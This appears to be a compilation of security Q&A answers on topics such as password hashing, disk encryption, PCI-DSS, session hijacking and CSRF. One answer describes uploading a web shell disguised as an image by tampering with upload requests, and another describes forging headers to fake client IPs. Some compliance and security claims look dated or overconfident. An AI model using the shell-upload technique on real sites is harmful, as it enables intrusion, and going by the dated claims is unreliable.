I read this as MongoDB expecting the system to perform the hashing prior to registration or authentication of users in the database. This makes sense when you consider that the MongoDB user most likely isn't going to be typing the password hash by hand. The use case for these user accounts are as authentication credentials for applications so the passwords are most certainly going to be stored in a configuration file somewhere.

The enterprise version of MongoDB supports the use of Kerberos for authentication. The steps to setup Kerberos can be found in the documentations as well. If you are really worried about this as a security factor, you should look into setting up Kerberos.


Is using password_verify($password, "") to block access to an account secure?

From the pure hashing view, yes, it is secure. The new password verify uses bcrypt or blowfish to encrypt the password, in none of the cases could it be made to an empty string by a tricky password.

However, there are other views which you could consider.

First, security is not only about closing the known attack possibilities, it is also about closing out any currently unknown. This is really hard. Defense is easy against anything what you know.

Second, a secure code should be also easy to understand, to avoid the appearance of secholes by multiple programmers not knowing eachothers work enough well. I would like to mention the remote root ssh sechole from some years ago (although in this case there is a possibility that it was an intended attack).

In my opinion, you would do your task better if you would somehow clearly sign in your database that an account is closed because of the algorithm upgrade, and not on some other reason, and your login / auth code should specifically handle this case. This is what you should do even in the case if it leads to seemingly redundant code.


Is there an AES 256 LUKS encryption option in Fedora?

When you say that 128 bits are not enough for you, and you really want 256 bits, then you are basically saying one of the two following things:

Laws of physics do not apply to you.
You do not understand what key size is, and you just want the biggest number, the cryptographic equivalent of painting your car in red to make it go faster.

Your choice.

See this question on more information on the subject.

As for your specific question, see the documentation and try for yourself with a toy example. If you use "-s 256" as parameter to cryptsetup and it does not blow up in your face, then you can rejoice in your huge key.

See also the contents of the /proc/crypto file on your machine; this will tell you which algorithms are supported by your machine, and with which key sizes (warning: key sizes in /proc/crypto are expressed in bytes, not bits).


Security risks if a server in not supported anymore

I could think of one example : Vulnerabilities. Can we fix any new discovered vulnerabilities if found on that server? Usually they're fixed by new patches or updates, but in this case i think that Microsoft will not provide any.

You just answered your own question. You will not get any security updates for new vulnerabilities discovered so you will always be at risk of new attacks. Microsoft's products are not open source so you cannot even try to fix any vulnerabilities discovered (although that would be a very stupid thing to do from a business perspective even if the product in question is open source).

The risks can be (somewhat) mitigated if the server in question is not Internet facing but why take the risk? Don't use unsupported products or products that are EOL.


Linux Rootkit / BIOS Malware: What packages are necessary to get infected?

The problem is that the early developers of the BIOS malware already thought of the potential for the necessary drivers not being available, so they included them.

If you can write a rule to prevent something, then you can interact with the rule and disable it, so that's not an option either.

The primary defence is not to allow kernel mode access to the malware. You do this by limiting the access of any executable (i.e. not root).

Anti-malware software often include a wrapper for the BIOS writing processes and prevent unauthorized use.

The combination of restricted access and wrapped processes are the better methods then what you suggest.


is it possible to upload infected pictures to a website?

If your upload form are not secured and not verified lots of things about the files wich is trying to be uploaded on your server , yes you can upload an infected image.
You intercept the http header like tamper data or other tools , and you can modify the extension of your file and other parameters :
 example : http://exploiterz.blogspot.fr/2013/07/how-to-upload-sh3ll-using-firefox-adon.html

For the AV scan that's depends on the shell that you upload i think.

I hope this helps you , sorry my english is not very well.


Why is MITM required for Session Hijacking?

Session Hijacking can also hijack a session that has already been established. And you're right, all you need is the packet, and not to be in the middle of the flow. For instance, if the session management is improperly configured, you could reestablish the same session if the user disconnects from the server.

Perhaps what you are reading is making a differentiation between "session hijacking" and "sidejacking".

Perhaps the most famous case of session hijacking is Firesheep. Their slides explain how it does what it does, and it does not require to be in the middle.


Should password reset link expire when clicked, or wait until reset is filled out and completed?

I don't see a problem with #2 and it is certainly more user friendly, provided that the reset page is only available through https (so that it can't be mitm'd and someone can't sneak in faster).

I don't see a vector to exploit #2 that isn't there for #1.


What security benefit does 2FA provide a password manager?

assuming we're talking about a true cloud-based platform, you can't protect from the sum combination of the access employees have as a group - at some level you need to place your trust in the sum of them since across employees they would have enough permission to MitM your sessions anyway & steal secrets at a later point (even if the master password/encryption keys are kept on your side now - at a later point the code your run from them that you expose those keys to could have updates to also be stealing the keys - you trust your keys to that code.. and they control it... the only guarantee you have that the code won't do that in future is their promise, and ideally them going to effort to compartmentalise what it takes for them to be compromised like that so it needs to be more than one employee).

The hope is that they compartmentalise trust in a way where it takes multiple bad actors for something bad to happen.

on the benefit of MFA:
What MFA is protecting against though is a whole bunch of threats primarily to your endpoint, including things like shoulder-surfing.  Typically these are frankly the bigger threat than a multiple-rogue-employees-targetting-you scenario.

I got downvoted on something where I think my answer ads significant content over what's above:
Even if secrets are encrypted in a way where the decryption is done locally on your machine, if you rely on code coming from the cloud-based password-safe provider, they can steal your passwords.

If they were to go rogue they could supply altered code for how the decryption works, in a way where even with decryption using a key you only have on your computer, used to only decrypt the secrets once sent to your device from encrypted cloud-storage, the rogue code in the web-page/plugin
 that's used as the algorithm for decryption could include javascript/other code to send the secrets back to malicious infrastructure - the security model is only as safe as the total sum of failures it takes (if properly compartmentalised, multiple rogue employees) for your secrets to be stolen in this manner.


The story links to another article which contains a little more data. Namely:

[The] company was targeted on 15th November by a massive DDoS attack. Then on 17th November, it was followed up by a subsequent attack that disabled the site and “overloaded our managed switches and disconnected the iSCSI connection to the SAN on BIPS servers”.
“Regrettably, despite several layers of protection, the attack caused vulnerability to the system, which has then enabled the attacker/s to gain access and compromise several wallets,” the company said in a written statement.

From this, we may guess that the initial DDoS was not the actual attack, but may have been a way to harass the security teams, to force them to switch to emergency systems with perhaps suboptimal protection, to serve as a diversion, or maybe to gather information on the network structure and safety procedures. A DDoS or something equally crude and brutal is often seen as part of a larger attack scheme, if only for the chaos and confusion is creates.
The sentence about an "overloaded switch" would indicate that the switch was spammed to death with fake packets, in order to demote it to hub mode, thus allowing much easier eavesdropping of packets in the network, in particular exchanges between the BIPS server and its storage system, which appears to be a remote SAN accessed through the iSCSI protocol. In effect, this would allow attackers to read and write arbitrary files on what the server sees as "its hard disk"; that vulnerabilities may follow is then unsurprising. However, all of this supposes that the attacker could already hijack another system on the same LAN, so it is pretty clear that we do not get the full picture here.
In any case, this does not seem to be a weakness in the Bitcoin protocol itself.


If you have confidence in the security of Gmail's servers, and since the communication between your machine and Gmail uses SSL, this leads to an unescapable conclusion: the vulnerability is on your side. Ill-intentioned people could took some control of your machine, or learned your password, or both. If they could run their nefarious code on your computer, then that computer must be considered as infected and corrupt, and MUST be cleansed. There is no amount of password changing which can heal a computer which has has tasted the foul taint of malware; only a reformat will purge it.

It is possible that the attacker learned your password and just used it from another machine, in which case changing your password would be sufficient to lock them out. However, this does not explain how the attacker learned the password in the first place, and the most plausible explanation again involves malware on your computer (a keylogger). Burn it !


First up, I strongly recommend you offload your PCI-DSS compliance obligations entirely by moving the responsibility to capture and process payment credentials over to the payment gateway provider. Most payment providers host the payment capture pages for their clients for this reason. This allows you to simply pass price information and invoice details to the payment gateway and then they return if the customer actually paid. Rolling your own  payment gateway is about as dangerous as rolling your own crypto - worse actually; as you'll be handling money and various banking liabilities.

However, if for some reason you or your organisation doesn't want to use any of pre-existing payment vendors; you will need to keep the following in mind:

You will either need to encrypt or hash any credit card "confidential details" that you record. These include card number, card expiry and account holder name. Hashing is an easier compliance measure to meet than encrypting. Not storing at all is even better.
The CSC/CVV value (number on back of card) is never to be stored on your servers, it is a transient "card present" authentication property only.
I believe nowadays new PCI-DSS compliant websites are being strongly urged to implement 3D-Secure or equivalent, where the user may also authenticate payment with a password entered on a third-party credit network or banking website.
SSL/TLS will often need to be of the highest most expensive type of Extended Validation certificate. Such certificates (and some renewals) also require slow paperwork on official letterheads and authority of delegated "officers" in a given organisational chart. Bob from IT in the basement doesn't cut it (at least until paperwork tells Verisign or the like that Bob is now the delegated officer). This process for new certificates is not fast.
PCI-DSS requires auditing of any login to the servers that store credit card details or participate in any part of the processing chain, from the DMZ reverse proxy to database and backup servers. This includes cloud processing or storage.
PCI-DSS requires auditing and access control of all software development and deployments; which is somewhat at odds with healthy/people trusting Agile projects.
PCI-DSS has some fairly specific ideas of what your network topology should be; an arrangement which may increase costs if you don't already have routers, switches and firewalls arranged in the desired subnet structure.
PCI-DSS expects mainstream databases and web daemons; and which are fully patched and up-to-date. To this effect, auditors will often require you have fully paid-up support contracts for your software. Many auditors (at least when I last had to work with PCI-DSS) will not like open source software where a more familiar "robust" commerical application exists. So expect the possibility of having to shift from PostgreSQL to an Oracle database.
You will need to keep detailed records of any emergency repair personnel or ad-hoc software contractors who have any access to the source code or servers.
You will need to pay for external PCI-DSS auditor on a routine basis.
PCI-DSS external auditing also requires documentation of internal PCI-DSS auditing by the organisation. This both saves the external auditor some time and proves that the organisation actually has to periodically think about their security. Internal audits will also cost money.
This is not a complete list either*. The external auditor can essentially ask for any adjustment to any system or business process to meet compliance. The company can sometimes sign off on a list of audit risks and still get a PCI-DSS certificate, but the company lawyers will scream about the liabilities absorbed by having to sign a "sort of compliant" audit waiver.

So think very carefully about your business' core goods or services. Then consider if establishing and maintaining direct credit card processing is a key product of your business.

* password cycling, shell sudo restrictions, full support documentation, division roles regardless of company size; the list goes on. The PCI-DSS compliance process can take 6 months or more.


How does the government install a trojan horse on somebody's mobile phone?

The police are not going to tell anyone exactly how they do something. And not every police force will do the same thing.
The options are:

exploit a vulnerability (just like the NSA's catalog of options)
supply chain infiltration ("download the latest update to your super-secret encrypted chat app!")
social engineering ("pssst. wanna do crime? install this and make big $$$").

I have seen articles over the years where different law enforcement agencies have done all 3 of those things.


access control to data-center using rfid

Some simple answers - with description:

1. Is rfid a good solution for controlling access to a data-center?

Not necessarily - because RFID broadcasts a signal, that can be picked up. In simple implementations a simple replay attack may be enough. Is RFID in a card? If so, what are the controls around it? ie if I steal the card do I have access, or do I also need a pass code?

2. Because rfid is "wireless", is it hackable?

Not a real question. Wireless does not make something hackable. The implementation could be good or bad. An attacker can pick up data remotely though, so factor this in.

3. Is a biometric solution more secure?

Biometric solutions have issues - the main one being that your biometric identifier is unlikely to be unique. The more unique it is made (through refining parameters) the more false negatives you will get, and if it is a fingerprint, what happens if your finger is damaged? Check out any studies on crossover points to see how appropriate it might be for your situation. Generally biometrics are used in addition to other mechanisms.

4. For accessing a data-center, should I use a hybrid solution, like for example a biometric solution in conjunction with rfid?

That would be better than biometrics alone.

5. Can any of you tell me a good solution, biometric, rfid or hybrid (with prices(a website link were I can research for more information))?

I don't have any published data. The implementations I have seen have been for trusted CA's - the protection they put in place includes physical keys, biometrics, dual-man controls, man traps and weight measurement on entry and exit...possibly overkill for this application?


You didn't give all the necessary information. It could be that Firefox is just incorrectly configured and does not use the proxy at all. Given that Firefox is setup correctly, which it sounds like, this is what I think is most likely.

Firefox tunnels the traffic nicely through SSH, you can verify this by going to a website like whatismyip.com.

What does not get tunneled are DNS requests. This is a known problem and projects like Tor (the anonymity network) work around it by providing a custom browser that does not leak DNS requests.

So what happens is that your browser asks your operating system for the website's IP address, which will query the local DNS servers (and using custom DNS servers might not help if they do DNS MITMing, which is not uncommon). The local DNS servers will then return some IP address which, when fetching the page, gives you the hotel's fascist firewall page.

Local IP addresses usually are in Firefox' ignore list by default, so they won't go through the proxy, and that's why you can see the page at all. If it had gone through the proxy, your SSH server would probably have gone "I can't reach this IP address" and you'd be none the wiser.

  When I started the socks proxy, as above, I got no warning that the link was not secure. Is there a way to force ssh to use a secure link or fail if it can't?

When using HTTPS you know your connection is secure, unless:

you installed software from the hotel to get on the internet;
installed a security certificate;
there is a warning sign (or something like that) on the padlock in your address bar; or
you ignore "this page is not secure" warnings.

When using HTTP you should not rely too much on its security, but I agree, it's nicer to be on a trusted network. Unfortunately HTTP has no mechanism to verify that nobody reads along, so no warning could ever be given.


Can http referrer value be used to stop spam bots?

No, because the referrer is just a header and is easily forged by a bot.

  I noticed that google's noCaptcha feature with the simple check box has a lot of great things.

Actually it isn't a checkbox, it's a DIV with some overlays.

  But the most important feature it has is that it only accepts requests from ip addresses or domain name you designate.

Not sure how you "noticed" this. Did you find that in a document? Because it's nothing remarkable; you can easily set up an IP white list of your own using only IIS-- no noCaptcha required.

  why does noCaptcha even need to be used?

It's a sophisticated risk engine with conditional escalation steps.  Details. I doubt you could effectively recreate this yourself.


According to IEEE specification 802.11i WPA2 networks use the SSID as a salt in the following way.

PSK = PBKDF2(PassPhrase, ssid, ssidLength, 4096, 256)

In order to avoid the use of rainbow tables you are correct in thinking that you should have a unique SSID. However your second point regarding the aspect of being 'too unique' I don't really buy into a whole lot. Wigle.net can also take BSSID (your router's MAC address) as a search parameter, which is arguably more unique anyways. On top of that, having your AP possibly show up on a map with millions of other APs may or may not be acceptable.

To answer your question I don't think there is any harm in being "too unique". Users typically have to type in only the password and the the SSID that they are connecting to, so the usability shouldn't be affected very often.


Database Layer

The multi-schema approach is OK but as always the devil is in the detail.

One major isolation technique that is underappreciated is separate schemas for the data owner and for the web-app to access.

This reduces the impact of any compromise by using least privilege, taking away specific rights of the connecting database user to really destroy the database (cannot drop tables or view hidden data).
Allows the application to hide data (behind packages or views).
You can use synonyms to map between web-app user and table owner schemas.

An Example Setup to get you started.

Data Owner:   MYCLIENT_OWNER
Web User:     MYCLIENT_USER  <- Django points to this schema
Synonyms:     MYCLIENT_USER.TABLE1 -> MYCLIENT_OWNER.TABLE1 (for all required tables)
Grants:       MYCLIENT_USER Granted Select, Insert, Update Delete as appropriate.
Packages:     MYCLIENT_USER Synonyms/Grants for required Packages, Functions and Procedures.

Authentication Layer

The authentication of users can be isolated into a sso / ldap server.

This reduces the impact of a compromise of your web-app.
The surface area of the authentication service is much much smaller than the whole system.
But as always this is more complicated and usually more expensive (even if only for setup time).

Symmetric Encryption

I have heard that wallet key storage outside the database is the best practice here, but an alternative is to hide the data behind functions as above.

I suspect that a encryption service on a different box might be a good alternative, but I have never seen this design used before.


Is every hash format that nginx accepts for HTTP Basic Auth weak against brute force?

I haven't tested this myself, but reading Nginx's source code, it seems to use libc's crypt() function directly. Depending on your OS, you may have a sane crypt() implementation available, either bcrypt or glibc's SHA-256/SHA-512 scheme. It's worth a shot to see if you can use it with Nginx.


Is it possible to detect the real location of an IMSI catcher?

The SeaGlass researchers aim to find the location of IMSI-catchers via anomaly detection at a city scale: https://seaglass.cs.washington.edu/ .

To identify potential IMSI-catchers, they rely on four anomalies:

Reporting to be at a fake location (as you mentioned)
Broadcasting at unusual channels
Supporting different features from regular towers
Constantly moving or turning on and off

To answer your question: you may be able to detect it easily, but finding the location may require triangulation.


cURL cert validation with curlopt_cainfo not working

Quite simple :-)

First of all I got some weird errors when I run your script:

PHP Notice:  Use of undefined constant curlopt_cainfo - assumed 'curlopt_cainfo' in ...
PHP Warning:  curl_setopt() expects parameter 2 to be long, string given in ...

So I replaced with curlopt_cainfo with CURLOPT_CAINFO - that seems to get rid of them.

I added the following after curl_exec() call:

if (curl_errno($ch)) {
    echo 'Curl error: ' . curl_error($ch);
}

When I missed the cacert.pem or the path was invalid it showed:

Curl error: Problem with the SSL CA cert (path? access rights?)

After I tried to hack-in the certificate from the paypal site like this (do NOT do this on production environment):

openssl s_client -connect api-3t.sandbox.paypal.com:443 </dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > cacert.pem

It complained again

Curl error: Peer certificate cannot be authenticated with known CA certificates

After properly supplying a certificate bundle from mozilla:

wget http://curl.haxx.se/ca/cacert.pem -O cacert.pem

It works just fine :-)

I don't think you have to supply the CURLOPT_CAINFO option as curl comes bundled with the cacert.pem from mozilla and this should work out of the box with just CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST enabled.


How can I prevent users from using bad passwords in my web application?

There are a few ways I can think of.

Require certain character combinations

This is a commonly used technique. Require users to input a certain combination of characters like a mix of capitalized words, non-capitalized words, numbers and symbols. Enforce a minimum password length. Do not be overly restrictive though, as it might force users to mix combinations in an insecure manner.

Password1234 is no more secure than password.

This technique could also restrict strong passphrases. See: XKCD #936: Short complex password, or long dictionary passphrase?

Deny common passwords using a blacklist

Maintain a blacklist of commonly cracked passwords and do not allow the users to register using them. This could prove to be a sizable amount of work to maintain.


Best practices for physically securing a notebook

This should be sufficient at least for the moderately to quite paranoid:

Change BIOS settings to boot only from the harddisk, so you can't boot from other devices. Make sure to disable network boot, which is usually in the same menu.
Set up a password for changing BIOS settings and for startup, so nobody can get past the BIOS loading screen without resetting the BIOS.
Set up automatic shut down when closing the lid (you should be able to do this in the power saving options). That way, intruders will have to go through the BIOS password prompt to get anywhere.
Encrypt the whole disk. That way, you'll have to get to the PC while unlocked or to add keyboard sniffing to access anything.

Some more outlandish suggestions:

Install a James Bond-type trigger which will be broken if someone opens up the case. Ideally, this should be detectable only by the owner, and should be easy to see.
Glue up the ports which are not used.
Fill up the insides of the computer with resin or glue, so nobody can install hardware devices there without seriously messing with it. Of course, you might run quite a risk of hardware failure if the machine contains any moving parts.


Can antivirus software detect if your PC is hooked to BeEF?

I was wondering if antivirus software can detect when a PC get's
  hooked to BeEF.

I am afraid you don't understand what BeEF is. BeEF is a browser exploitation framework that can inject malicious JavaScript into a website with XSS vulnerability. That in no way means hooking your PC, rather more like hooking your browser tab.

Can an antivirus detect that?

No, antivirus won't be good to detect such a thing.

However BeEF also has modules for exploiting browser vulnerabilities to gain code execution, but unless you are using a outdated/old browser you don't have to worry about it. Also antivirus (such as Windows Defender) is pretty good at spotting MSF shellcode, even in memory.


How secure is the 2016 XLSX Excel Encrypt with password function?

Current versions of Office hash the password a large number of times to create the key and encrypt using AES-128.  I wouldn't protect nuclear launch codes with that, but it's relatively safe.

Can it be brute forced?  With today's technology it'd take millions of computers to do it in a reasonable period of time.  So, yes it can be brute forced but unless you think NSA, GCHQ or FSB are after your data, you're probably fine - assuming Microsoft didn't do anything stupid in the implementation.  As noted on the Matasano Crypto Challenges: "There are tens, probably hundreds, of obscure little things you can do to take a cryptosystem that should be secure even against an adversary with more CPU cores than there are atoms in the solar system, and make it solveable with a Perl script and 15 seconds."


Is it safe to store user-uploaded ID scans in S3 (with server encryption)?

The common way to store these more sensitive documents is to encrypt them with KMS.

Unlike the AES-256 encryption (which AWS themselves claim to be slightly legacy), KMS encryption requires a separate permission to decrypt and encrypt the files.

Create a Customer Managed Customer-Master-Key(CMK) in KMS, and upload the files encrypting them with CMK in question (using the kms:Encrypt permission).

Then whatever needs to decrypt the files (e.g. a Lambda function etc), needs to have the kms:Decrypt permission on the CMK in question.

Travis can have access to the bucket, but can never access the content of the files, as it should never be granted the kms:Decrypt on the key.

CMKs cost a tiny amount of money, but generally worth-it if you're getting folks to upload IDs into your app.


Simulate a lot of different IP's hitting a website

As the comment said: IP spoofing is not an option if you want to have a working TCP connection. And you probably need this connection because otherwise the connection attempts will fail at the kernel already and your application will not get any requests.

I don't know your application setup but I see the following options:

Some applications take a HTTP header like X-Forwarded-IP as the originating IP address, because these kind of headers are often set by reverse proxies in front of the application. If this is the case you can fake this kind of header and generate the desired HTTP requests with some scripting skills.
If this is not the case you might setup a virtualized network with lots of different IP addresses and then do the requests from the different source IP addresses to your application (which must be on the same virtualized network setup). That's not as simple as the previous option but doable with enough knowledge on how to setup networks.


The referenced duplicate does not explicitly address encrypted traffic by HTTPS and TOR. That httpS encrypted traffic can be accessed and whether or not users that share a WiFi network use WiFi encryption. That part is explained in the referenced 'duplicate'.

Decrypting the accessed httpS or TOR traffic is another topic. It may be interesting to know that banks in Netherlands recently advised against using httpS over public (encrypted or not) WiFi because of MitM /SSL stripping attacks. see https://www.security.nl/posting/389223/Banken%3A+niet+internetbankieren+via+open+wifi-netwerk  (sorry in Netherlands)


can you update a one-time pad, over one-time pad encryption (compressed)?

This isn't possible/feasible, for two reasons.

Compression doesn't "work" on random data - it won't actually significantly reduce the size of your data, and in fact, may increase the size.
A one time pad must be greater than or equal in length to the data being encrypted.

So if you're using the "remaining," unused part near the end of your one time pad to transmit a new one time pad, you're going to end up with a very small "new" one time pad... and the same problem that you're almost near the end of it.


Is a computer more vulnerable if wireless is left on when booting?

You do not need to be concerned by this. Windows 8 in particular introduced many new security features and technologies which take direct aim at early boot malware. You can read about these in some depth here: https://technet.microsoft.com/en-us/library/dn283963(v=ws.11).aspx

One introduction for example is ELAM - Early Launch Anti-Malware, which gives antivirus vendors the chance to load a low level protection driver at an extremely early stage during the bootup process. You can read more about that here (https://msdn.microsoft.com/en-us/library/windows/desktop/hh848061(v=vs.85).aspx)

What you should take away from this is that anti-malware software starts up in stages. At each phase of the boot Windows gives AV software the chance to load the next set of protection drivers, firewalls, signature based detection modules, ...

The very last and final piece is the user interface component. Just because your AV software is not yet visible immediately after boot does not mean it is not running - it's been running silently in the background for a long time already. Also, Windows 8 has an extremely well designed and almost impenetrable boot procedure. You need not be concerned - there is no significant risk posed by leaving your wireless enabled over boot, and far less of a risk than navigating to a few websites in your favourite browser. Don't worry about it.


What is the severity if someone read the ConnectionStrings_Prod.config?

Just because you were not able to connect directly, this still poses a few problems (will speak on them in a second). Anything and all should always be reported for a few reasons, it is informational, it illustrates that time was taken to analyze information during an engagement. Now there are a few reasons I can think of, for this happening (permissions)"

1) Developer took shortcuts (made permissions changes to ease
   his/her work)
2) Developer could not get it to work otherwise and needed that
   permission (read all) to make it work

With the information in the configuration readable, depending on their structure, an attacker can likely use this to escalate privileges (depending on the configuration of accounts), access data otherwise meant to be private (e.g, logging into a SQL server elsewhere on the network given credentials were provided, etc).

Depending on what kind of engagement (black box pentest, white box pentest) you could ask the developer as to why this is configured as such, yet still report it, and offer the risks associated with having data stored/visible like that. It will all boil down to tolerance. For example: "You have access to this information to log into a machine WHILE ONLY on the server" albeit horrible to leak data, you cannot exploit any server to even use the data you found, so the risk is lower than if you EXPLOITED the server, then used that data.

I have done pentest engagements where data from robots.txt allowed me to escalate via chained attacks. E.g. config files and comments in pages pointed to other directories, which allowed me to connect dots to exploit something, and once I was in, I didn't need to escalate. Everything was handed to me usernames in comments, old configuration files with db names, hashes, etc.


What is the most secure way to save user authentication: Cookies or Session Variable?

Based on the way your question is structured, it seems like you might be confused about what authentication cookies and session variables are and what they should be used for.  It also seems like you are planning on rolling your own authentication/authorization functionality.

One thing that ASP.NET offers is that it will handle many of the details of authentication/authorization for you.  When used properly this is very secure.

I would recommend giving this article a read to get a better understand of how authentication/authorization worKs and what your options are with ASP.NET.

I would recommend reading up on how ASP.NET Session State (including Session variables) work by reading this article.

Best of luck!


I have not heard about it, but I'll offer some basic thoughts:

  Can it be they are collecting email addresses? Can it be some harmful malware?

Everyone, everywhere is trying to collect your email address on the internet. It's a basic fact of life. It lets companies who are collecting them for 'benign' purposes contact you and keep you involved... it lets malicious companies sell you out to spammers/etc.

It's an unfortunate fact of life that the internet is a scary and dangerous place. Even 'safe' areas can be infiltrated and your data can be stolen.

It's all about tradeoffs... is the fun of this game worth the risk of someone using your information for illicit/malicious purpose?

On the more specific end of things, though, I did a bit of a search on the site and came up with this:

http://www.mywot.com/en/forum/11726-quizrace

Which seems to be very negative about the website. At the very least, it is not a legitimate business organization.. and the worst they are actively doing malicious activities.


Is my server under some kind of reconnaisance/attack?

These appear related to EC2 health checks

https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-healthchecks.html

So I'd say no you are not under any type of recon check


Storing OAuth access and refresh tokens in non HttpOnly cookies

The main element of risk is from XSS. If there is any XSS in your application, then it can be used to trivially steal your tokens.

As soon as such a token is stolen, the attacker can fully impersonate the user.

What isn't clear for me is why you need to have these cookies available outside HTML: can't you use another cookie for storing the public element of the cookie (maybe the whole payload or simply the expiration and whatever you need for your client to figure out if it needs to go to the auth portal) and keep the JWT tokens in HTTP-only cookies?


Securing Macbooks in an Enterprise Environment

If you have JAMF Casper Suite, you can utilize the script infrastructure built by many of the following developers and projects:

https://github.com/JAMFSupport
https://github.com/loceee/OSXCasperScripts
https://github.com/rtrouton?tab=repositories

If you use a different Enterprise agent suite, such as Munki, LANDesk, Puppet, Chef, Centrify, et al, you may just want to check out the generic resources at -- https://github.com/macjustice/awesome-macadmin

For one-at-a time installations of secure standards, be sure to check out the Lockdown UI, as well as the original post.

There is also a book, Enterprise Mac Security: El Capitan, Third Edition


I need help identifying the cause of weird outbound traffic from my network

Run the following command on the box to find the PID of any UDP traffic on the machine.

> netstat -a -p udp -o

You can use findstr to filter the results by looking for specific port numbers (remember, it appears to be shifting, so play with your filter)

> netstat -a -p udp -o | findstr 51400

Once you have the PID, use taskman to find the executable. Once you have it running and you're on the Processes tab, click "Show processes from all users" and then select View -> Select Columns... and make sure Image Path Name and Command Line are checked.

Once you have identified the program, you can do some malware analysis on it with Cuckoo.


The best way to secure communication is to get an SSL certificate.  Anything else means you're just re-implementing SSL, probably in an insecure fashion.

Specifically, anything you do to secure the data will need to be done in JavaScript.  That JavaScript needs to be transmitted over the Internet, so either it's protected by SSL (meaning you've got a certificate you can apply to your websocket connection), or it's not protected and an attacker can tamper with it, rendering any security it applies to the websocket meaningless.


How does do client authentication work over https?

Authentication of the client using a client certificate is very similar to the common authentication of the server using a server certificate.

Essentially the client has a public certificate which contains the public key and the client has the matching private key. Authentication is then done by the client:

Providing the public certificate which contains the public key. TThis is done with the Client Certificate message.
Signing some data with the clients private key. This signature is provided in the Certificate Verify message.

The server can validate the signature created by the client using the public key contained in the clients certificate. The server also validates the certificate itself in the usual way, i.e. check if a certificate chain can be build to a locally trusted CA certificate, check for expiration, revocation, key usage etc.

In order to prevent replaying the same signature later the client cannot choose which data get signed but all data send and received so far in the current TLS handshake get signed which include also random data from the server.


How to deal with UDP bandwidth exhaustion DDoS attacks?

Are you absolutely bound to UDP;  TCP fixes IP spoofing attacks.

IPSEC?  If every packet is from a pre-determined trusted device you could add authentication-header to validate it.


csrf attack when the victim not logged in

Yes it can happen. Many pages do redirect to the login page when a request that require authentication fails due to user not logged in.

If the user is unaware enough, he might try to login thinking that its is a "ordinary" login (and not a login that is caused by a request that require login). In many cases, the login page will then after login, resubmit the request that initially failed.
This can either be accomplished by that the request itself is saved in a cookie, or the request may be saved in a session bound to a cookie (like a forum post) and then is posted after user is logged in.

It can be similiar to session fixation attack, but instead the whole malicious request is "fixated" during login.

The resubmitting of failed requests can be seen as a example on many phpBB forums. Lets say you are replying to a thread, and your session expires. You then press on "Post", you are redirected to the login page, and then you re-login. After that, your post is posted, like it was "saved" in the login form.
However, phpBB employs CSRF protection. It was just a example on how such a resubmit can happen.

In some rare cases, the request may be saved in a permanent cookie, which make such a "unauthenticated CSRF attack" very dangerous. This is common with webshops, that might save the whole shopping cart in a permanent cookie. If a webshop would save a completed order in a permanent cookie and the webshop employ saved ("recurring payment authorization") credit card, its very possible that a user might visit the CSRF site, press the button, notice nothing happens. Then Days or months later, visit the webshop, and try to login, Voilá, a order is immediately placed due to the permanent cookie - with shipping adress directed at the attacker.


Limiting by IP is too strict in my opinion:

As you said there is a problem with dynamic IP.  But this alone could maybe solved if you enforce this limit only within a specific time frame because the IP does not change that often.
But corporations and institutions often use private IP addresses inside and have few internet gateways. This means all users there have the same outgoing IP.
And then you DS-Lite and similar access methods. Here the users get only a private IPv4 address and share the same public IPv4 address because there are not enough public IPv4 addresses for all. Usually they have a unique IPv6 address though. This kind of access affects probably most mobile networks, large parts of Asia but also some ISP in Europe or America.

I think the best way is too limit the reviews per account and then make account creation hard, i.e. use captchas etc. There is also research to detect bogus account so that you can close accounts later and remove the reviews, see for example Aiding the Detection of Fake Accounts in Large Scale Social Online Services from the recent USENIX conference.

Of course everything you do to limit abuse might make it more complex might deter some benign users from using your system. But if there is too much abuse your system is useless for them too. It is probably very hard to get the balance right and if you look at social networks, free web mailers etc they are constantly change their procedures to make it easy for benign users to use the system but hard for spammers to abuse it. Since spammers evolve their techniques too you must probably tune your system regularly. Or you might try to profit from the validations google etc do to their accounts and instead of doing all the account creation and validation by your own let the user sign in with their google or facebook accounts.


SQLCipher is an option.

You need to use threat modelling to really secure your service as there are many ways apart from classic hacking, such as outlined in OWASP Top 10. Particularly SQL injection or CSRF that could also compromise the PII.

Encryption prevents someone from stealing the DBMS either logically or physically, it doesn't stop holes in your programming/implementation allowing someone to steal the data.


I run a simple web service, and I need to securely send emails to users via PHP.

Your exact requirements of "securely send emails" are unknown. But none of your proposals offers end to end security, i.e. depending on the path one or many parties can intercept and even modify the mail.

In detail:

SMTP has only hop-by-hop encryption, which means any MTA on the way will have the mail in clear even if TLS was used to transmit the mail to the MTA.

Also there is no guarantee that TLS is used at all because SMTP transfer starts plain (without encryption) and only gets upgraded optionally to TLS with the STARTTLS command. If this fails or if no STARTTLS is offered by the receiving MTA the mail is usually send plain text (i.e. best effort encryption). There are various ways TLS can fail (bad configuration) or can be made to fail by an attacker and there are also firewalls which simply transparently strip STARTTLS support so that they can look into the mail.

Apart from that the next hop MTA is chosen by the DNS MX record. With DNS spoofing the mail can thus be redirected/intercepted unless the sending MTA is using strict DNSSec, which it usually isn't.


In most (if not all) modern operating systems that run on x86 hardware, segments are ignored. The segment registers are set to begin at address 0 and to extend for the whole 32-bit address space; thus, offsets computed relatively to one segment are valid for all segments, since they all start at the same place and exactly overlap each other. In practice, application code does not fiddle with segment registers at all; it just assumes that they are already set as described above, and forgets about them.

Consequently, in a modern OS, there are no "far calls". All calls, all data accesses are "near". The notion of "modern OS" includes here all Windows versions since Windows 95 (and also the older Windows 3.1 when the "win32s" extensions are installed), and all versions of Linux since day 1.

Some finer details:

When the machine is 64-bit able, and the OS kernel runs in 64-bit mode, then it can still run code in 32-bit mode, but that's only an "emulation". In that emulated mode, segments are really fixed at address 0, and cannot be changed by the kernel. This means that the "let's forget about segment registers" stance has become firmly entrenched in the hardware as well.
Some operating system will make the stack (and other data elements) "non-executable" so as to make life harder for the attacker; this is called Data Execution Prevention. One possible trick for that is, indeed, the use of
segment registers: for instance, the CS segment will cover addresses 0 to 1073741823, and the OS will arrange for non-executable elements (in particular the stack) to be located at an offset above 1073741824. In that case, any attempt at jumping into code that is in the stack will make the CPU try to read opcodes (thus relatively to CS) beyond the limit of that segment, which then triggers an exception. However, data accesses will be made with DS or SS, whose upper limit is kept at 4294967295, and will thus be unhindered.

